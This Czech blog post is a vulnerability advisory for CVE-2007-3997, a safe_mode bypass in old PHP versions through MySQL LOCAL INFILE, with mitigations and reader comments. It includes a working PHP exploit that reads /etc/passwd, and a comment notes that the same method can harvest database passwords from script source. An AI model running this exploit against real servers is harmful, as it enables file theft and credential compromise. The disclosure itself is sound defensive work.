Hodžův blog

15 Říj

PHP

První díl, ze „seriálu o bezpečnosti“, aneb tuníme náš server…

Vztahuje se k:
< = PHP 5.2.3
<= PHP 4.4.7

CVE:
CVE-2007-3997

Problém:
Díky rozšířením MySQL a MySQLi v PHP lze obejít bezpečnostní politiku safe_mode.

Detail:
Pomocí funkce MySQL LOCAL INFILE lze získat libovolný soubor ze systému.

Řešení:
1) Kompilovat MySQL klienta s parametrem „–disable-local-infile“
– nepomůže při použití MySQLi, neboť volba se dá znovu povolit příkazem „mysqli->options(MYSQLI_OPT_LOCAL_INFILE, 1);“
2) Do konfiguračního souboru (/etc/mysql/my.cnf) vložit (do sekce [mysqld]) „set-variable=local-infile=0“.

Exploit:
function r($fp, &$buf, $len, &$err) {print fread($fp, $len);}
$m = new mysqli(‚localhost‘, ‚aaaa‘, “, ‚a‘);
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler(„r“);
$m->query(„LOAD DATA LOCAL INFILE ‚/etc/passwd‘ INTO TABLE a.a“);
$m->close();

4 komentáře to “PHP”

  1. 1
    lzap Says:

    lol at zije PHP 🙂

  2. 2
    lzap Says:

    teda MySQLi… na druhou stranu – utocnik tim ziskava pouze jmena uzivatelu na systemu…

  3. 3
    hodza Says:

    >na druhou stranu – utocnik tim ziskava pouze jmena uzivatelu na systemu…
    /etc/passwd se dava jako oblibeny priklad. Navic nechci ted nekomu sahat do svedomi, ale znam minimalne tucet high-load serveru, na kterych se dodnes nepouzivaji stinova hesla a MySQL bezi pod rootem.

    Cele to lze samozrejmne ale vyuzit i jinak. Zobrazis si napriklad zdrojak nejakeho PHP scriptu, odtama vyctes heslo k databazi a pak uz jsi dalsim neplacenym adminem.

  4. 4
    M. Says:

    Někdy mě udivuje, jak někteří lidé můžou dělat administrátory, když netuší na co jsou stínová hesla a neslyšeli snad ani o shadowconfig 😉

Leave a Reply

Hodžův blog is is proudly powered by Wordpress and the Magellan Theme